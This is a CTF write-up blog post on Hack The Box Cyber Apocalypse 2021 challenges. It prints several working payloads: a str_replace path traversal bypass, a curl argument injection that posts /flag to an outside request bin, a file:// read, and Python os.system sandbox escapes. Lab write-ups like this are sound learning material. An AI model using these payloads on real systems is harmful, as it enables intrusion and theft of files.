I participated in Hack The Box’s Cyber Apocalypse CTF 2021 this week. I was only able to solve 11 challenges (excluding the welcome challenge) but overall it was a fun event. The challenges were nice and there wasn’t any guessing required. Here are the writeups for some of the challenges I was able to solve.

WEB - Inspector Gadget

This was the entry level web challenge and the flag was split in 3 parts which were then placed in the HTML, CSS and JavaScript files as comments.

WEB - MiniSTRyplace

This challenge provided the source code of the challenge. The website was running a PHP script which checked the lang URL parameter and included that language’s PHP page. It was pretty clear that this was a Path Traversal Exploit but the solution wasn’t straightforward.

Here is the code snippet that performed the file inclusion. The code has a very weak “filter” to prevent path traversal attack.

<?php
$lang = ['en.php', 'qw.php'];
    include('pages/' . (isset($_GET['lang']) ? str_replace('../', '', $_GET['lang']) : $lang[array_rand($lang)]));
?>
</body>

Honestly, I had no idea how to bypass this str_replace filter and this is perhaps the simplest filter to stop path traversal. The str_replace function call removes ../ from the provided string and prevents files in other directories to get included. So, I started reading about path traversal attacks and the solution I found was so obvious that I wanted to punch myself.

What str_replace is doing is that it removes all instances of ../ in the given string but it doesn’t do this recursively. A string like ../../../../foo/bar will get reduced to foo/bar but ...././foo/bar will only get reduced to ../foo/bar. Therefore, all you need to do is add ../ in the payload which when removed will give the required payload for the attack.

Final payload: ?lang=..././..././flag

WEB - Caas

This challenge also provided the source code of the website but the codebase was larger than the previous problems. Long story short, the client side took a URL as input and a CURL request was made to that URL from the PHP backend and the output was then returned to the client. This is the PHP code snippet that made the CURL request -

<?php
class CommandModel
{
    public function __construct($url)
    {
        $this->command = "curl -sL " . escapeshellcmd($url);
    }

    public function exec()
    {
        exec($this->command, $output);
        return $output;
    }
}

So, like the noobie that I am, I tried different payloads without understanding the code properly. I tried appending simple bash commands like - ls, cat flag.txt to the url parameter hoping that this injected command would get executed after curl. Turns out, this is what escapeshellcmd is supposed to filter. From the PHP docs -

escapeshellcmd() escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands.

So, I started reading about escapeshellcmd exploits and found a Github repo that had payloads for escapeshellcmd exploits. Basically, the idea is to make a POST request using the CURL command and send the flag.txt file along with the request. I found this answer that showed how to do this.

Now, all I needed was an endpoint to make a POST request to and view the received request. These are called Request Bins and are used a lot in XSS challenges. For this challenge, I used Beeceptor.

Final payload: -F file=@/flag https://ctfctf.free.beeceptor.com

Here is the request I received on Beeceptor’s console. Also, the flag visible in the request body is the test flag since I generated this request from a local instance for the writeup.

console

I read other people’s writeups once the event was over and the actual solution made me feel very dumb. You can simply use the file URI scheme to directly read the flag file. A GET request to file:///flag would just return the file directly.

MISC - Input as a Service

This challenge only provided an IP address to connect to and nothing else. After connecting to the IP using netcat, you get an interactive shell. After playing around with it for a few minutes, you would realise that it is a python shell. Basically, the input is executed as python code using the exec command. Here is a code snippet that might have been running at the server -

while 1:
  text = input('>> ')
  exec(text)

I tried running ls command using os.system("ls") but the module os was not imported in the running environment. So, I started researching and found this article.

The solution is that python has a function __import__ that can be used to dynamically include modules and run commands. Here are the commands I tried and the output I received.

Do you sound like an alien?
>>> 
__import__("os").system("ls")
flag.txt
input_as_a_service.py
__import__("os").system("cat flag.txt")
CHTB{4li3n5_us3_pyth0n2.X?!}

MISC - Alien Camp

In this challenge, there was a mapping provided which was a bunch of emojis and an integer associated with each of the emoji. In order to get the flag, 500 queries had to be answered which were mathematical expressions containing the emojis as variables. This can not be done manually and needed automation since each query had to be answered in a short duration.

The solution to this was pretty straightforward. I created a simple dictionary with the emojis as key and the integers as the value. And for every query, I replaced the emoji with its integer value and evaluated the string using eval. Here is the final script that worked.

from pwn import *

r = remote("138.68.185.219", 31618)
r.recv().decode()

r.sendline(b"1")

r.recvuntil("help:\n\n").decode()
keys = r.recvuntil("\n\n").decode()

keys = keys.strip().split(" ")
nums = dict()

for i in range(0, len(keys), 3):
    nums[keys[i]] = keys[i + 2]

print(nums)

r.recv().decode()
r.sendline(b"2")

for i in range(500):
    r.recvuntil(":\n").decode()
    query = r.recvuntil(" =").decode()[:-2]

    for each in nums.keys():
        query = query.replace(each, nums[each])
    ans = str(eval(query))

    r.recv().decode()
    r.sendline(str(ans))

print(r.recv().decode())

REV - Passphrase

This was a reverse engineering challenge so naturally there was a binary provided. The binary was a 64-bit ELF that wasn’t stripped. On running the binary, it asked for a secret passphrase and it was safe to assume that the flag was the secret passphrase.

On executing the binary instruction by instruction, I found that there was a call to strcmp function that compared the user input to a fixed value. When the execution reached the strcmp call, the two values required for the function call were present in the appropriate registers. Here is the gdb output on reaching the strcmp call.

 ► 0x555555554ac0 <main+250>    call   strcmp@plt <0x555555554820>
        s1: 0x7fffffffdda0 ◂— '3xtr4t3rR3stR14L5_VS_hum4n5'
        s2: 0x7fffffffddc0 ◂— 0x41414141 /* 'AAAA' */
 

Thanks pwndbg for making our lives easier.

REV - Authenticator

This was another straightforward challenge. The binary asked for an Alien ID which was 11337. This was present in the source code of the binary generated by Ghidra. The second input asked for a pin which was validated by the checkpin function. Here is the source code of the function.

undefined8 checkpin(char *param_1) {
  size_t sVar1;
  int local_24;
  
  local_24 = 0;
  while( true ) {
    sVar1 = strlen(param_1);
    if (sVar1 - 1 <= (ulong)(long)local_24) {
      return 0;
    }
    if ((byte)("}a:Vh|}a:g}8j=}89gV<p<}:dV8<Vg9}V<9V<:j|{:"[local_24] ^ 9U) != param_1[local_24])
    break;
    local_24 = local_24 + 1;
  }
  return 1;
}

This function computes the XOR of the bytes of the string with the integer 9 and compares with the provided input. Therefore, the flag is this long string when XOR’d with 9 byte by byte. Pretty straightforward like I said before.

Conclusion

Overall, I enjoyed working on these challenges and the writeups I have read on the challenges I couldn’t solve have been amazing. I was so close in some of them but just couldn’t connect the final dots. Other than these, I also solved 4 crypto challenges but I am not at all equipped with the skills to explain how I solved them. I like that the difficulty level of problems increased gradually so everyone could solve some challenges. I finished at 652 in 4740 teams which isn’t that good but I learned a great deal from this CTF. This was easily the best CTF I have participated in and the team at Hack The Box did a great job. Thanks for reading. Cheers!